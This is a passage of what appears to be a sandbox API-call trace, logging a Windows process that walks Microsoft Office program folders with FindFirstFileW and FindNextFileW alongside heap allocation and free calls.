dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0230.457] GetProcessHeap () returned 0xc10000 [0230.457] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0230.457] GetProcessHeap () returned 0xc10000 [0230.457] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0230.457] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\3082\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe34d5ed4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe34d5ed4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe34d5ed4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4c68 [0230.458] GetProcessHeap () returned 0xc10000 [0230.458] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0230.458] GetProcessHeap () returned 0xc10000 [0230.459] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0230.459] GetProcessHeap () returned 0xc10000 [0230.459] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0230.459] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBBA\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x246bb96e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x246bb96e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0230.672] GetProcessHeap () returned 0xc10000 [0230.672] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0230.673] GetProcessHeap () returned 0xc10000 [0230.673] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xc38a60 [0230.674] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc3bb225, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x241382dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x241382dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0230.782] GetProcessHeap () returned 0xc10000 [0230.782] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc38a60 | out: hHeap=0xc10000) returned 1 [0230.783] GetProcessHeap () returned 0xc10000 [0230.783] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xc38a60 [0230.783] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\QUERIES\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda173cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeda173cc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4968 [0230.783] GetProcessHeap () returned 0xc10000 [0230.783] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc38a60 | out: hHeap=0xc10000) returned 1 [0230.783] GetProcessHeap () returned 0xc10000 [0230.783] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xc38a60 [0230.783] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\SAMPLES\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda173cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb48c20e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4b68 [0230.784] GetProcessHeap () returned 0xc10000 [0230.784] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc38a60 | out: hHeap=0xc10000) returned 1 [0230.785] GetProcessHeap () returned 0xc10000 [0230.785] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xc38a60 [0230.786] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\STARTUP\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda173cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeda173cc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0230.786] GetProcessHeap () returned 0xc10000 [0230.786] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc38a60 | out: hHeap=0xc10000) returned 1 [0230.792] GetProcessHeap () returned 0xc10000 [0230.792] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xc38a60 [0230.793] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa326fd, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0xa326fd, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0xa326fd, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0230.794] GetProcessHeap () returned 0xc10000 [0230.794] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0230.795] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa326fd, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4cce0ca, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4cce0ca, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d68 [0231.382] GetProcessHeap () returned 0xc10000 [0231.382] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0231.382] GetProcessHeap () returned 0xc10000 [0231.382] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc38a60 | out: hHeap=0xc10000) returned 1 [0231.384] GetProcessHeap () returned 0xc10000 [0231.384] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0231.384] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\XLSTART\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda173cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeda173cc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0231.385] GetProcessHeap () returned 0xc10000 [0231.385] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0231.385] GetProcessHeap () returned 0xc10000 [0231.385] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0231.386] GetProcessHeap () returned 0xc10000 [0231.386] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0231.386] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\rsod\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b1a0d3d, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b1a0d3d, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0231.697] GetProcessHeap () returned 0xc10000 [0231.697] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0231.697] GetProcessHeap () returned 0xc10000 [0231.697] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0231.697] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Stationery\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb48c20e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb48c20e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0231.698] GetProcessHeap () returned 0xc10000 [0231.698] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0231.698] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb48c20e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6099da, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6099da, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4be8 [0231.702] GetProcessHeap () returned 0xc10000 [0231.702] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0231.702] GetProcessHeap () returned 0xc10000 [0231.702] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0231.704] GetProcessHeap () returned 0xc10000 [0231.704] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0231.704] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Templates\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0231.705] GetProcessHeap () returned 0xc10000 [0231.705] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0231.706] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb571036, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0231.718] GetProcessHeap () returned 0xc10000 [0231.718] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0231.719] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5972d3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb5bd4f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb5bd4f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0231.721] GetProcessHeap () returned 0xc10000 [0231.721] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0231.721] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\DataType\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5972d3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb62fbf7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb62fbf7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0231.728] GetProcessHeap () returned 0xc10000 [0231.728] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0231.728] GetProcessHeap () returned 0xc10000 [0231.728] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0231.728] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5bd4f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6a2342, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6a2342, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0231.733] GetProcessHeap () returned 0xc10000 [0231.733] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0231.733] GetProcessHeap () returned 0xc10000 [0231.733] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0231.733] GetProcessHeap () returned 0xc10000 [0231.733] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0231.733] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\GettingStarted16\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e332373, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e332373, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e332373, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0231.939] GetProcessHeap () returned 0xc10000 [0231.939] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0231.940] GetProcessHeap () returned 0xc10000 [0231.940] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0231.940] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb760eed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb760eed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0231.941] GetProcessHeap () returned 0xc10000 [0231.941] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0231.941] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb760eed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb760eed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0231.941] GetProcessHeap () returned 0xc10000 [0231.941] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0231.941] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Notebook Templates\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb760eed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb760eed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0231.942] GetProcessHeap () returned 0xc10000 [0231.942] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0231.942] GetProcessHeap () returned 0xc10000 [0231.942] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0231.943] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb7ad38b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0231.943] GetProcessHeap () returned 0xc10000 [0231.943] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0231.943] GetProcessHeap () returned 0xc10000 [0231.943] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0231.943] GetProcessHeap () returned 0xc10000 [0231.943] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0231.944] GetProcessHeap () returned 0xc10000 [0231.944] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0231.944] GetProcessHeap () returned 0xc10000 [0231.944] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0231.944] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Templates\\Presentation Designs\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24517fc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24517fc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24517fc9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0231.946] GetProcessHeap () returned 0xc10000 [0231.946] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0231.946] GetProcessHeap () returned 0xc10000 [0231.947] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0231.947] GetProcessHeap () returned 0xc10000 [0231.948] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0231.948] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0231.948] GetProcessHeap () returned 0xc10000 [0231.948] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0231.950] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xaf31749c, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xaf31749c, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0231.962] GetProcessHeap () returned 0xc10000 [0231.962] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0231.963] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9f15ef0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xaf31749c, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x5a112a2, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0232.067] GetProcessHeap () returned 0xc10000 [0232.067] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0232.067] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft\\OFFICE\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9f15ef0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x381f2dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e2e5eac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0232.086] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9f15ef0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x381f2dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e2e5eac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0232.086] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa911c96, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa911c96, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa937f07, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1536, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssetLibrary.ico", cAlternateFileName="ASSETL~1.ICO")) returned 1 [0232.086] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9f15ef0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9f15ef0, 